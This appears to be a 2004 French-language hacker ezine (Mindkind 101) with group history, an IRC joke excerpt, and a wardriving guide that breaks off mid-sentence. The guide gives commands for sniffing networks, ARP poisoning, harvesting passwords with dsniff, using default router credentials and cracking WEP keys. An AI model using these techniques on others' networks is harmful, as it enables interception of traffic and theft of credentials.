,-----------,            ,-----------,,-----------,   ,--------,,--------------,
|            \          /            ||           |  /        / |               \
|             \        /             ||           | /        /  |                \
|              \      /              ||           |/        /   |                 \
|               \    /               ||                    /    |     ,-----,      |
|                \  /                ||                   /     |     |      \     |
|                 \/                 ||                   \     |     |       |    |
|            \          /            ||                    \    |     |       |    |
|             \        /             ||                     \   |     |______/     |
|              \      /              ||            |\        \  |                 / 
|              |\    /|              ||            | \        \ |                /
|______________| \  / |______________||____________|  \________\|___MINDKIND101_/
                  \/

              .-.              .-.              .-.    
             |_ _|            |_ _|            |_ _|               
            .</_\>,          .</_\>,          .</_\>,            
            (o_0_o)          (o_0_o)          (o_0_o)             
          .'\ .---'''''''''''--.   /'.      .'\     /'.          
          | .'                  '. | |      | | ;   | |          
          .'                   ;  '._|      |_| :   |_|          
          ;                        ; |   .-. \ \    | |  .-.      
          |___.--''''''''''''--.___|_|  |_ _| \_\-. |_| |_ _|    
          :______.-----------._____; >  </_\>, (_\ \(_>.</_\>,   
         /|  ________    ________  |\   o_0_o)   |\ \  (o_0_o)   
        ( ; (     _.'    '._     ) ; ).'\    /'. | \_.'\     /'. 
        ; \ '._.-'   .''.   '-._.' / ; | ;   | |_|__|| | ;   | | 
        |  |      -' :  \  '-     |  |_| :   |_| |  ||_| :   |_|  
        :  |         ;            |  ;\ \    | | | _| \ \    | |  
        .' ;         .--.         ; '. \_\-. |_|\|/__) \_\-. |_| 
       / .' \     .-'.--.'-.     / '. \|(_\ \(_>       |(_\ \(_> 
      (.'    \   / /'    '\ \   /    '.)  |\ \\        |  |\ \\  
       \      \.'-'        '-'./      /|  | \_\        |  | \_\  
        \.--'''      .''.      '''--./ |__|__| \       |__|__| \ 
       (        \    .--.    /        )|  |  |         |  |  |   
       ;     ..     /  l \      ..    ;|_ | _|         |_ | _|   
        \   (__)   (      )    (__)   /__\|/__)       (__\|/__)  
  _____  '-.______.-\    /--.______.-' ._                        
''   .'              '--'              -.`'----..      
   .'                                    `.      `     
  /                                        \      `    
 /                    |                     \      \   
 \                    |                     /       |    
  |                  / \                    |       |  

                                   

                                    Episode 101
                                 L'Empire Débarque

                          Il y a fort fort longtemps (5 ans)
                       sur un ircd perdu (undernet), lors de la 
                    période de grande noirceur, Se sont rassemblés
                  sur le même channel les anciens  dirigeants  d'une 
                époque désormais oubliée. Au cours des  ans  ce  petit 
              groupe  a  travaillé  à  conserver  la connaissance et la
            stabilité des anciens temps dans son  petit  coin  d'univers.
     
                   
                          Depuis peu, les groupes barbares 
                       laisser depuis trop longtemps  à  eux 
                     mêmes pullule et se partagent les restants
                   calcinés d'une scène autre fois prometteuse  et
                 respectueuse. Ces barbares non aucune fois n'y loi
               n'y aucun respect pour ce qui a été  fait  avant, voir 
             même aucune idée  de  ce qui a été fait avant. Ces groupes 
           sont donc condamnés à de vaines guerres irc et à réinventer la 
        roue tout en partageant un état de médiocrité tout a fait déplorable


                         Devant ces faits désolent et avec
                    L'intérêt de défendre l'intelligence commune
                  Mindkind  est sorti de son  isolationnisme et a
                prit pour mandat  de réunir les barbares et d'éduquer
              ceux qui étaient favorable  au savoir du passer, de ramener
           la paix et la prospérité sur la bonne vielle  scène  francophone.
        Il y a peu, les agents de Mindkind on instaurer une coalition de groupe
      sur  #hack.fr  undernet  et  des  avants post sur efnet, dalnet, underz et
     freenode, des appelles on été lancer a différent groupe afin d'obtenir leur 
    participation  au projet. 


                  Et pour ceux que la réalité pourrait intéresser:

    

        .----.
        |    | this area belong to the topic.
.------'----'---------------- - ----- - - ------- -- ----------
|
'------.----.-- - -------- ----------------------------------
       |    |
       |    |  01. le patriomoine lemurien                  LastCall_
       |    |  02. Wireless addict                         Last & Peuch
       :    |  03. Lockpicking : Beginner Handbook          init_null
       |    .  04. Les problémes dans les filtres Perl     Seriousman
       |    |  05. ICMP pas ICBM                             Sp1d3r 
       |    |  06. Port knocking, big word ez task           Wyzeman
       .    '  07. Radio Scrap                               Qwzykx
       |    |  08. PHP 5                                       h3
       |    |  09. Einstein et les 5 nains                 Seriousman
       |    |  10. Mendel et ses bytes                      TheTurtle
       |    |  11. Il etait une fois l'ASM                   Sp1d3r
       |    |  12. Lockpicking et securiter                 Hacktoad
       |    |  13. Perl part 5                              LastCall_
       |    |  14. LKM hide en 2.6                          Mindkind
       |    |
.------|    |-------- - ---------------------------------- - -
|      |   /'
'------|  / |------------------------------- - -------------------- -
       '----'


N'oubliez pas de lire (ou scroller) le ezine de A à Z, car comme à l'habitude 
nous avons des entres articles qui valent la peine d'être lu! (non cpas juste 
des logs IRC)

 Dans la version lite vous retrouverez :
   - Les pics qui vont avec l'article 07 de Qwzykx
   - Les pics qui vont avec l'article 12 de Hacktoad

 Dans la version full vous retrouverez :
   - Même choses que lite
   - Les pics qui vont avec l'article 11 de Sp1d3r
   - Un video de lockpicking live de hacktoad
   - Mindkind leds project in jpg/avi
   - Une antenne wifi déguisée en morpe


...leon ed nipas nu'd temmos ua setop ses te susej ed ria'l riova issua siarruop 
ortni'l :SP


    ___ ___ ____ ___ __ _______ __ __ ______
   |            |              |            |
   |       ;    |              |            |
   |___         |              |___         |
       |        |     .------.     |        |
.- ---' ,      '-----'------'-----'--- ----'------- - -- - - -  -
'    _|________|__
¦
|           mkd.01  Le Patrimoine Lemurien
:                              aka Histoire de Mindkind
'                               _ ___ __ ____
:                                 |        |
'-----.------- .-----.------.-----|        |----- - ------- - - - ---- - - -
   ____|        |____ |______| ____|        |____
  |                  |        |                  |
  |___ _ ________ ___|___ ____|_________ _______ |


Le patrimoine lémurien vous présente :
Histoire de Mindkind; finishing the tech tree

- Janvier 2004 : On update nos présentations
  Une autre année de  plus à notre actif,  cette année starta comme  si c'était
  pour être l'année où il va y avoir le plus de chose (pensée positive ici la).
  Bien que la liste de projets  restait du même nombre, le nombre  de personnes
  impliquées augmentait, et l'implication aussi.
  
- Février 2004 : Go go un ezine... hum.
  Des idées à gauche et à droite du  ezine sont venu, même que le design a  été
  faite. Malheureusement on rentra dans une période dormante coté production et
  le ezine ne  fut pas terminé  (même loin de  la). Cependant, Wyze  profita du
  moment pour recruter le plus de fresh blood possible. On vit donc  apparaître
  au cours des prochains mois des gens dans Mindkind tel que theturtle,  medgi,
  TheCops, HolyGod, koiz et Fire.
  
- Mars 2004 : j'avoue que la j'ai (last) eu un void mindkind
  Ben faut dire que personnellement j'avais mes mains pleines dans le LAN  ETS,
  un  événement d'ampleur  où plusieurs  membres et  supporter de  mkd  ont  pu
  s'amuser et mettre leurs compétences en action. Il est cependant a noter  que
  c'est dans cette période la  que #mindkind.org (qui était rendu  big!) devena
  #hack.fr en s'alliant avec plus de mondes encore. Ça vous rapelle pas  l'ONU?

- Avril-mai 2004
  C'est la  que les  gros projets  sortirent du  sac et  que tout  le monde ont
  commencé à  vouloir s'impliquer  plus.. on  a donc  mit sur  place et à jours
  certaines des infrastructures, faite des meetings for fun and profit, et etc!
  Coté recrutement Wyze était encore en frénezi mode, bien que la préparation à
  la production prennait  plus de temps,  on vit des  nouvelles tête apparaitre
  tel que Northox, une version carbone de neo avec encore plus de motivation.

- Juin 2004 : 
  Nous voila donc en fin de ce mois de juin, ou plein de projets sont en cours,
  ou pour être développés..  y comprit le ezine.  Une nouvelle version du  site
  web va bientôt sortir, et enfin les choses sont plus concrètes que c'étaient.
  Par contre,  étrangement, on  dirait que  j'en ai  moins à  dire qu'avant. On
  dirait que notre culture est  maintenant établie, que toute les  choses qu'on
  voulait  définir,  se  faire  connaître,  builder  une  base  solide,   c'est
  maintenant terminé. C'est donc ainsi que les futurs patrimoines lémuriens  ne
  seront plus axé directement sur  le développement de Mindkind, mais  bien sur
  l'influence et le patriotisme  qui se développe au  sein du groupe, en  gros,
  prochain ezine, ne soyez pas surprit de voir que le premier article se limite
  à 2 mots: we ruxx.


.----------------------------------------------- - - --- - ---
| LastCall_   [lastcall at mindkind dot org] www.mindkind.org
'------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - -



  < Mindkind tales from IRC >
  
  <LastJEDI_> Wyze
  <LastJEDI_> faudrait parti un fond de recherche mindkind
  <LastJEDI_> pour ingénierie génétique de chix
  <Wyzeman> find / -name chix
  <Wyzeman> jhahaha
  <LastJEDI_> on pourrait les faire cutes pis leurs faire aimer les choses geeks
  <LastJEDI_> haha
  <Wyzeman> qwzykx said "jsuis septique"
  <LastJEDI_> haha
  <LastJEDI_> c koi elle vont tous virer lesbienne et se retourner contre nous?
  <LastJEDI_> :-)
  <LastJEDI_> nyways cé mal parti, TATU sont pas lesbo..
  <Wyzeman> ca depend du niveau de ton complexe frankeinstein
  <Wyzeman> haha
  <LastJEDI_> haha
  <Wyzeman> qwz miserais sur le reformatage software
  <LastJEDI_> faudrait faire des lois
  <LastJEDI_> comme celle des robots de asimoz
  <LastJEDI_> genre
  <LastJEDI_> - je serai lesclave sexuel de tous geeks
  <LastJEDI_> - je ne ferai pas de mal a un geek
  <LastJEDI_> etc etc
  <Wyzeman> sauf si cela contervien a la loi #1
  <Wyzeman> hahahaha
  <LastJEDI_> hahaaha
  
  < ----------------------- >


    ___ ___ ____ ___ __ _______ __ __ ______
   |            |              |            |
   |       ;    |              |            |
   |___         |              |___         |
       |        |     .------.     |        |
.- ---' ,      '-----'------'-----'--- ----'------- - -- - - -  -
'    _|________|__
¦
|           mkd.02  Wireless addict
:                              aka 'WIFI on high time'
'                               _ ___ __ ____
:                                 |        |
'-----.------- .-----.------.-----|        |----- - ------- - - - ---- - - -
   ____|        |____ |______| ____|        |____
  |                  |        |                  |
  |___ _ ________ ___|___ ____|_________ _______ |


Votre  entourage trouve  que vous  sortez pas   assé l'été?  Tlm  vous  dit de
prendre de l'air? Que   vous êtes  blêmes? Que   les rayons  de votre   CRT ne
sont pas une source de vitamines D  ? Qu'il y  a autre chose  DEHORS?  Eh bien
Mindkind a la solution : devenez un wireless addict.

Enfin vous trouverez le bonheur du  plain air, de l'exploration, le tout  avec
votre laptop favori. Vous pouvez au  choix être en voiture (wardriving) ou  à
pied (warwalking)  ou, si  vous êtes  vraiment crinqué,  en avion (warflying).
Nous allons donc vous présenter un petit guide de wireless, so called 802.11*,
so called wifi, so called wlan0, so called omg je savais pas que yavait autant
de packets qui traversent mon corps.


Hardware
¯¯¯¯¯¯¯¯
First of all, pour  le plein air, il  vous faut un laptop  (duh). Se promenez
avec une tower pis  un écran 19pouces en  plein centre ville est  déconseillé.
Mais bon une fois que vous avez le laptop, le reste va vous sembler moins cher
à l'achat en plus ;-)

Matériel indispensable : la carte wifi. Que ça soit une orinoco ou une  marque
bâtarde, ya 2 choses importantes a retenir :
- que ça soye au moins un Prims2 comme chipset (2.5 présentement)
- que ça l'aille  une plug pour plugger votre antenne (duh!, la  pluspart  des
cartes  n'ont  pas  de  plug!  Mais  yen  a  une  coupelle  avec  des   plugs,
malheureusement dans  les magasins  "normaux" on  en retrouve  pas. Entk  nous
avons faite le tour des magasins genre Future shop, Microbytes sans succès.)

Prix moyen pour les  cartes haut de gammes  (on conseil ceux la  pour les vrai
wifi addicts):
- Senao 200mW PCMCIA                    : 60-65$ US
- Orinoco GOLD 150mW PCMCIA             : 50$ US

Si jamais vous  avez déjà une  carte wireless qui  n'a pas de  plug, ben temps
pis. Vous pouvez vous faire du fun  pareil (sans que ça vous coute le  prix de
l'antenne) mais vous serez pas  "super powerfull". Cependant on veut  pas vous
décourager, vous aller  trouver bcp de  networks quand même,  mais c'est juste
que vous allez  a plus vous  mouvoir, et que  si vous êtes  derrière un mur ou
parmi des obstacles c'est moins efficace.

Cependant ya tjrs moyen de s'arranger en de gosser vous même votre plug, paske
après tout un jour, y  va sûrement avoir une carte  dlink en vente a 12$  chez
Future Shop... Si vous  vous sentez gosseux sur  le hardware, le jeux  vaut la
chandelle, surtout si votre carte est Prism2...
http://web.archive.org/web/20020204193529/http://kevlar.burdell.org/~will/antenna/
http://web.archive.org/web/20030602083019/c0rtex.com/~will/antenna/

On insiste  bcp sur  le fait  que ça  doit être  une prism2 comme chipset, car
c'est  une question  de drivers.  En faite  les prism2  ont tendance  a  mieux
marcher coté backward-compat et sont supporter par plus de tools cool que  les
autres types. Aussi y'on la réputation d'être moins dla scrap. hehe

Si vous pensez qu'une carte wireless on board fait l'affaire.. well vous  êtes
fou. Mais  ça peut  dépendre. Nous  avons déjà  vu certain  modèle avoir de la
misère a pogner  une onde a  1 mètre, et  d'autres pogner des  ondes DEHORS de
plein d'affaire. Ca  dépend donc de  la conception du  laptop, mais nyways  ça
accotera jamais une vrai carte avec antenne.

Next,
we need antennas, lots of antennas.
Si vous voulez vraiment  avoir le plus de  "cover range" possible, vous  devez
vous  procurer une  antenne. La  différence entre  une antenne  et  une  carte
wireless seule  est considérable.  Si vous  êtes en  char, une  6-7dbi avec un
aiment (pour tenir  l'antenne sur le  toit ou encore  pour wiper les  datas de
votre HD si vous vous faites buster) convient parfaitement. A pied aussi c'est
chouette. Voici des exemples de modèles avec les prix :

- Omnidirectionnel 7dBi ( avec aimant )  : 20$ US
  http://www.wisp-router.com/images/antennas/mobile/7dB_mobile_clear_background-fixed.jpg
- Omnidirectionnel 5dBi ( avec aimant )  : 16$ US
  http://shop.meconet.de/de/shop/img/h&s_2.4ghz-5dbi-omni.jpg
  
Si vous avez un headquarter à quelque part (disons chez vous) une plus  grosse
antenne peut vous faire trouver des miracles. Pour ce faire on a 2 choix,  des
omnidirectionnelle, qui ressemble a un manche a balait et qui pogne dans  tout
les sens les ondes, ou une bidirectionnelle pour "viser" la cible. hehe
Shopping cart :

- Omnidirectionnel 12dBi                : 69$ US
  http://www.aerialix.com/12dBi-nf-web.jpg
- Directionnel 24dBi                    : 60$ US
  http://www.levi.cz/images_k/EIX2615.jpg
- Directionnel 19dBi                    : ~50$ US

Evidemment ces  antennes la,  c'est pas  quelque chose  qu'on peut transporter
sans se  faire regarder  de travers  (remarquer juste  avec une petite antenne
dans vos mains  le monde vous  regarde d'un air  louche, oublier pas  l'excuse
suivante : prise de données météo et radio amateur haha).

Pour les visuels,  les connecteurs de  ces antennes la  (pour fitter avec  les
cartes wifi) ressemble à ça :
http://www.ldeo.columbia.edu/~vschmidt/Photos/swap/equip-construct/images/mmcx-connector-zoom-2.jpg
http://www.rflinx.com/images/Pigtails/Lucent.jpg

For the freaks and budgets-men,
y'a aussi la possibilité de rajouter a votre panoplie des amplificateurs.
amplificateur 1W 2.4GHZ
  http://www.wirelesslan.gr/photos/2400se.jpg
  http://www.wifishop.nl/media/hyperamp.jpg
Sauf que ça vaut 300$ (on parlait a ceux qui avait du budget la).
La plupart des gens s'en servent pour booster le signal de leurs access  point
avec ça. Par exemple avec un ampli qui boost à 500mW, on peut faire passer  un
signal de 19dBm à 27dBm. Si en plus de tça on a une antenne qui a de  lallure,
genre une 12dBi, on gain encore plus et on fini par avoir 39dBm, ce qui est  a
peu près 2 fois plus fort qu'au  début. Donc, oui, si vous avez du  budget, un
ampli vaut  la peine,  cependant faite  juste attention  pour pas  finir cuit,
parce que  vous allez  arriver au  bureau et  le monde  vont dire  que yon pas
commander de poulet.
Pour ceux qui veulent compter en détails les gains :
http://bcwireless.net/moin.cgi/dBmChart

À l'inverse, si vous avez pas de budgets pour des antennes, vous pouvez vous
en faire une vous même, il existe plein de site sur le net :
http://www.turnpoint.net/wireless/cantennahowto.html
http://www.oreillynet.com/cs/weblog/view/wlg/448
http://www.tux.org/~bball/antenna/
Et  ça peut  être une  activité faisable  en famille  ou dans  un cours  d'art
plastique.

Note pour Mindkind : un jour nous allons conquérir le monde avec du  wireless,
le tout fabriquer par  des enfants mexicains en  cours d'art plastique. Qui  a
dit que l'éducation ne paie pas?


Concepts
¯¯¯¯¯¯¯¯
Un peu comme avec les yo pis les rappeux, ya des concepts et des mots qui faut
comprendre. Principalement pour avoir une conversation qui se tien faut savoir
qq termes. De plus, il ne faut pas oublier que du wireless c'Est dans les  air
(hen pas vrai?)  ou plutôt, c'est  comme si vous  recevez le jus  de toute les
RJ45 autour de vous, dans une seule interface.

AP: Access  Point; la  machine qui  sert de  "switch wireless".  Y'a plusieurs
sorte de AP, ça peut être un ordi  avec une carte réseau en mode AP, ça   peut
être un  routeur linksys(dlink,  etc) cheapo,  un cisco,  une bébelle  bizzare
comme Colubris --> http://www.colubris.com/images/Colubris-AP-72dpi-RGB[1].jpg

Modes de connexion :
          MONITOR :
                Utilisé pour sniffer les réseaux sans-fils.

          AD-HOC : 
                Utilisé pour se connecter de carte wireless a carte wireless.

          MANAGED :
                Utilisé pour se connecter à un access point.

          MASTER : ( Disponible seulement avec les drivers hostap linux )
                Utilisé pour simulé un access point avec votre prism2/2.5.

          REPEATER : ( Disponible seulement avec les drivers hostap linux )
                Utilisé pour agrandir le rayon d'action d'un access point
                déja existant.

WEP:  Wired  Equivalent  Privacy :
          Encryption   sur   le   wireless.   Le  Standard  WEP  propose   des
          encodages de données moyennant une clé de 40 ou 128bit.

802.11: Les standard IEEE du protocole wireless :
          Standard IEEE 802.11a, WLAN 
                Longueur d'onde : 5GHz 
                Bandwidth Disponible : 54Mbps, 48Mbps, 36Mbps,
                                       24Mbps, 12Mbps, 6Mbps 
                Mesures de sécurité : WEP, OFDM 
                Range optimal d'opération : 75 ft. intérieur, 150 ft. extérieur
                
          Standard IEEE 802.11b, Wi-Fi 
                Longueur d'onde : 2.4GHz 
                Bandwidth Disponible : 22 Mbps*, 11Mbps, 5.5Mbps, 2Mbps, 1Mbps 
                Mesures de sécurité : WEP, OFDM, AES, WPA 
                Range optimal d'opération : 1000 ft. dans des conditions 
                idéales; le plus souvent 150 ft. intérieur, 300 ft. extérieur
                * Doit posséder des devices qui le supporte

          Standard IEEE 802.11g, Wi-Fi 
                Longueur d'onde : 2.4GHz 
                Bandwidth Disponible : 108Mbps* ,54Mbps, 48Mbps, 36Mbps,
                                       24Mbps, 12Mbps, 6Mbps 
                Mesures de sécurité : WEP, OFDM, AES, WPA 
                Range optimal d'opération : 1000 ft. dans des conditions
                idéales; le plus souvent 150 ft. intérieur, 300 ft. extérieur
                Particularité : Backward compatible avec le 802.11b 
                * Doit posséder des devices qui le supporte

          Standard IEEE 802.11i, WPA
                Standard récemment accepter par le IEEE pour l'usage de AES au
                lieu de DES pour l'encryption des données.
         
Puissance du signal :
          Il est mesuré  en dBm.  On  peut interpréter la  force du signal  de
          deux manières.
          
          La première, le nombre  de dBm que l'on  emet.  En fait, on  devrais
          plutot parler de mW dans ce cas présent.  Par exemple, une carte bon
          marcher linksys projette un signal de  15dBm ( ou dB, c'est la  même
          chose ) soit 100mW. Plus le  nombre de milliwatt est élevé, plus  la
          couverture  est   grande.  Par   exemple,  une   personne  ayant  un
          amplificateur  (  comme moi  )  envoie 500mW  ou  1W (dépendant  des
          modèles) de signal.

          Deuxième manière, le  signal exprimé par  les drivers de  linux.  Ce
          signal est calculer en dBm ( ou db ).  Linux inverse le signal, donc
          plus vous proche de  0, meilleurs votre signal  est si on se  fit au
          SIGNAL non pas à la QUALITÉ DE LIEN, nuance.

Channel :
          de 1 à 11 sur le territoire incroyable du FCC ( USA / CAN )
          de 1 à 13 sur le territoire Europeen
          de 1 à 14 sur le territoire Nipon ( JAPON )

Antennes :
          Petite précision sur les antennes.  Les dBi est une unité de  mesure
          pour désigner  un GAIN  DE SIGNAL.   Donc, une  antenne de 5dBi vous
          permet de  capter 5dB  de signal  de PLUS.   Ceci s'additionne  a la
          puissance d'émission de  la carte.  Une  orinoco, par exemple,  avec
          une antenne  5dBi emet  20dB au  lieu de  15dB et  croyez moi,  cela
          parait énormément. 


Software
¯¯¯¯¯¯¯¯
Bon ici on va vous  faire une référence très rapide  de cki a à faire  avec le
software pour être un wireless  addict semi-accompli. Evidemment, pour ce  qui
est des  systèmes unix,  vous avez  juste a  faire un  man de la commande. Les
explications  des  mans pages  sont  quand même  assé  complètes au  sujet  du
wireless. 

> Linux
- iwconfig: utilisé pour configurer l'interface (wlan0 d'hab)
            et choisir un ssid
  iwconfig wlan0 mode managed essid SSIDDUDEVICE 
  iwconfig wlan0 mode managed essid SSIDDUDEVICE key LAKEYENHEX
  iwconfig wlan0 mode managed essid SSIDDUDEVICE key s:KEYENASCII

- ifconfig: utilisé pour setter un ip sur le network wireless
            (la même affaire qu'un lan normal)
  ifconfig wlan0 192.168.0.5 netmask 255.255.255.0
  ifconfig wlan0 up
  route add default gw IP
  D'habitude  l'interface  va  etre  wlan0,  et  les  IPs  et  bien  faut vous
  débrouiller... En général  si vous voulez  faire du passive  sniffing sur le
  network, prenne de quoi de random dans un ip local, ça la peut d'importance.
  Dans la plupart  des cas, ça  va être un  network du genre  192.168.0.X donc
  prenez un  ip avec  X=69 pis  un gateway  de 192.168.0.1.  Si vous faite une
  petite recherche sur le net, vous allez aussi voir que certain access  point
  on  un range  d'ip par  défaut, et  un ip  par défaut  (voir la  section AP
  populaires).

- dhcpd:
  pratique car la plupart du temps un réseau wifi roule en dhcp.. fak même pas
  besoin de se casser la  tête pour trouver le range  et tout.. c beau la  vie
  hein? 

- kismet
  tool  qui  permet   d'avoir  une  vue   d'ensemble  de  tout   les  networks
  environnants.  Il en  existe une  panoplie de  tools du  genre, nous  avons
  choisis et  conseillons kismet  parce que  ça nous  tente, mais c'est simple
  d'en  trouver plein  sur le  net. (voir  les liens  a la  fin de  l'article)
  Veuillez noter que kismet mets votre carte en mode monitor (donc vous pouvez
  pas vous plugger en même temps sur un network). Pour enlève le monde monitor
  vous pouvez faire kismet_unmonitor ou  encore enlever votre carte pcmcia  et
  la remettre (c'est plus efficace que l'app de kismet).
  

- Ettercap
  Tout bon hax0r doit avoir ettercap dans sa poche. Ettercap dans un  contexte
  de  wireless vous  permet de  faire du  passive sniffing,  ou d'envoyer  une
  panoplie de arp requests dans le but de "comprendre le network".
  Pour passive sniffing (old version, la new checker le man!) : ettercap -O -i
  wlan0 Pour  sender un  paquet de  arp request  (y faut  avoir le  netmask de
  config avec ifconfig, genre un netmask de 255.255.255.0 va vous faire sender
  255 arps et 255.255.0.0 65025 arps :
  ettercap -i wlan0
  Simple. Ya aussi moyen  de poisonner a mort  pour faire que tout  le traffic
  revient vers le AP. Dans  ce cas la, avec un  wide open AP, le résultat  est
  intéressent : toute le traffic au complet se retrouve envoyer dans les airs,
  et n'importe  quel tappon  qui passe  par la  pogne les  packets de  tout le
  monde. Plaisir en perspective ;-)


 - sniffing for fun - 
  ethereal: pratique pur  voir en real  time cki se  passe sur le  network. Si
  votre carte est en monitor mode vous allez pouvoir voir *toute* (ou presque)
  ce qui se passe dans les airs.
  
 - sniffing for profit-
 dsniff:  avec ce  petit sniffeur  vous allez  pouvoir piquer  des passwords.
 ettercap fait la même job mais fait un arp poison avant (ce qui est mieux) et
 il permet de  dumper les passwords  un peu dans  la même manière  que dsniff,
 sauf  que dsniff  est "automatique"  (aka dans  ettercap il  faut faire  2-3
 commandes a chaque fois qu'on veut un dump des pass.. et ettercap a  tendance
 a  planter alors  que dsniff  tien le  coup, c'est  pour cette  raison qu'on
 conseil dsniff.)
 

> BSD
- ifconfig
  Un peu plus de truc qu'en linux, car ya pas de iwconfig en BSD. On peut donc
  toute faire a partir de ifconfig.  Aussi, l'interface en BSD change avec  la
  marque (comme les cartes  ethernet quoi!). De plus  ya pas vraiment de  mode
  manage et etc :
  ifconfig wi0 inet 192.168.0.5 netmask 255.255.255.0 ssid SSSIDNAME
  route add default 192.168.0.1
  Ah pis au lieu de dhcpd ya dhclient qui marche bien pour le DHCP en bsd.

- wicontrol
  Dépendant de votre version de BSD (5.0 est plus hot avec le wifi)  wicontrol
  peut vous  êtes utile  ou pas.  En FreeBSD  5.x wicontrol  est deprecated et
  remplacer par tout plein de fonction dans ifconfig, voir le man de  ifconfig
  anyways ;-) 
  wicontrol -i wi0 -f 6
  Pour changer la fréquence, cependant on croit remarquer que les drivers  ont
  tendance a s'amuser eux même avec les settings, donc wicontrol sert plutôt a
  voir où en sont vos settings. De plus pour de quoi de live, si vous avez une
  prism2, essayer prims2ctl.

- dstumbler
  Tool pratique pour voir les  networks live (équivalent de kismet  en linux),
  vous pouvez le starter  en mode monitor avec  "dstumbler -o". Il vient  avec
  les fameux "bsdairtools". Notez que  contrairement à linux, le monitor  mode
  _semble_ s'en  aller dès  que vous  fermer l'app.  Cependant si  vous gosser
  beaucoup  avec vos  config, on  vous conseil  d'enlever la  carte et  de  la
  remettre une fois de temps en  temps, surtout si vous avez FreeBSD  4.x, qui
  est plutôt instable (ainsi que les version early de 5.x). 
  
- prims2ctl
  Un autre tool dans  la suite bsdairtools, celui  la vous permets de  changer
  live les  config de  la carte  wireless si  c'est une  prism2. Pas  mal plus
  efficace que ifconfig/wicontrol dans 4.x, le tool semble aller "direct jouer
  avec la carte". Si genre vous voulez tentez de sniffer vous même un  channel
  précis, prism2ctl va vous être utile.
  
- sniffing : les mêmes tools que linux marchent #1!


> Windows
  On a pas full jouer avec Windows, mais on pense que pour certaines personnes
  ca vaut la  peine surtout si  votre carte wifi  est fuckall compatible  dans
  Unix. D'habitude  Windoze offre  un meilleur  support, et  le tout  va mieux
  marcher  en  Win32. De  plus  yé possible  d'aller  chercher des  ports  des
  programmes Unix pour  windows. Genre ettercap,  ethereal sont disponible  en
  version win32.

- netstumbler
  Le tool qui fait la job de kismet/dstumbler. Interface graphique bien sur!


AP populaires (and how to hack them)
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Avec  le  temps  vous  allez  finir par  reconnaître  les  AP  lames  qui sont
configurer par default. D'habitude c'est des linksys ou des dlink. Ce qui a de
FUN avec les linksys lames, c'est que les gens laisse ça en "factory  default"
(donc  non configurer).  La plupart  des tools  qui servent  a visualiser  les
networks wireless vous affiche une  couleur spéciale (ou une note)  lorsque le
tout  est  factory default.  Parmi  les choses  le  fun a  faire,  vous pouvez
rajouter les règles que vous voulez dans le routeur wireless, pour ainsi owner
le tout facilement. On va pas vous en dire plus, car finalement, entre ça  pis
configurer son propre access point, ça  revient au même. On vous conseil  donc
de vous  amusez avec  un routeur  wireless ou  encore hostap  dans linux  pour
comprendre comment le tout fonctionne.

Y'a cependant des choses  a retenir, tel que  les ip et password  par défauts.
Par exemple le default password :  <blank> avec user admin est populaire  chez
les dlinks. De plus les dlinks  ont quelque chose comme 192.168.0.50 comme  ip
par default (donc pas 192.168.0.1 comme default gateway!).

Les listes suivantes vont vous aider:
http://www.phenoelit.de/dpl/dpl.html
http://phenoelit.darklab.org/cgi-bin/display.pl

Avec le temps vous allez  voir que ya plusieurs sortes  de AP, yen a même  des
"professionnel". Mais dans la plupart des cas, vous avez qua starter dhcp pour
avoir plein d'infos sur le network.. dans la plupart des AP "pro" ya un  genre
de login screen qui  apparaît dès que vous  faite une request sur  un site web
quelconque. Vous pouvez donc, vous essayez  de passer par la (avec des  users/
pass par default). Il ce peut même que l'interface web nécessite seulement  un
OK de votre part pour vous  mettre online sur le network (sans avoir besoin de
réel  user/pass,  mais  en  ayant besoin  de  faire  un  request http).  Donc,
n'oublier pas que si un DHCP vous réponds, d'essayer une requete web, ça  peut
vous en dire beaucoup sur la configuration du réseau.


Cracking in details
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Au début on voulait vous expliquer  en détails quel sont les points  faible du
WEP, cependant ya plein de sites qui le font, tel que :
http://www.isaac.cs.berkeley.edu/isaac/wep-faq.html
Par contre, personnes ne le raconte en seule phrase, alors voici :
Dans le wep y'on  utiliser le RC4, donc  quand t'as des packets  assé petit tu
peux en  ramasser des  "weaks" et  a partir  de tça  cé facile d'extrapoler la
clef, en plus quand tu ramasse un GROS paquet de packets (hehe) tu peux  avoir
plein d'initialisation vectors (IV) qui te permettre d'extrapoler encore mieux
la key.
Donc, si jamais vous  tomber sur un network  encrypter (et c'est sur  que vous
allez en trouver)  vous pouvez essayer  les clefs par  default. Mais si  votre
"cible"  est réellement  importante, vous  pouvez vous  assir et  sniffer les
paquets dans un log pcap (avec  tcpdump, ou votre wireless tool favorite  (tel
que kismet ou dstumbler)).  Vous avez donc 2  moyens. Le premier est  de brute
forcer la  key, chose  qui peut  être très  long, si  la key  est longue.  Pas
contre, vu les faiblesses du RC4  dans le WEP, vous pouvez ramasser  une tonne
de paquet et extrapoler la key.  Cependant dites vous que quand on  dit "tonne
de packet" il  en faut bcp,  voir plusieurs centaines  de megs. Principalement
avec une encryption en RC4, il faut avoir plusieurs type de IV. Pour du 40bits
ya 5 types de IV et pour du 128bits 13. Dans ces types la, il vous en faut  60
de chaque. On a réussi a avoir 150IV pour les types de 1 à 13 en 128bits, mais
le type  0 est  le plus  difficile. Il  existe cependant  plusieurs méthode de
cracking, des heuristiques et etc, et cela dépends des tools que vous avez.

Coté tools, en BSD on retrouve dans bsdairtools l'application dwepcrack. Lancé
avec dwepcrack -w bleh.log on peut utiliser la méthode qu'on vient d'expliquée
(les sortes de  IVs). On peut  aussi faire du  fast brute force  "dwepcrack -b
bleh.log"  ou  du  extensive  brute force  avec  "dwepcrack  -b  -e bleh.log".
Veuillez noter que le  brute force mode a  seulement besoin d'un seul  paquet,
celui le plus petit possible.

Dans Linux (et BSD again) on  retrouve airsnort. Dans notre cas on  trouve que
ça marche pas fort (du genre l'interface de airsnort c'Est affreux et faut  du
live capture et blah blah). En faite, cracker du WEP c'est encore un processus
nouveau, donc les tools  sont pas full mature.  Il existe une série  de script
perl pour faire la job, qui semble fonctionner :
http://wepcrack.sourceforge.net/
Nous avons  aussi mit  la main  sur un  petit tool  en C  qui promet, mais qui
malheureusement est au stade plutot alpha (du genre il fonctionne pas ttemps):
http://weplab.sourceforge.net/

Dans  tout les  cas, on  vous conseille  de vous  faire votre  propre network
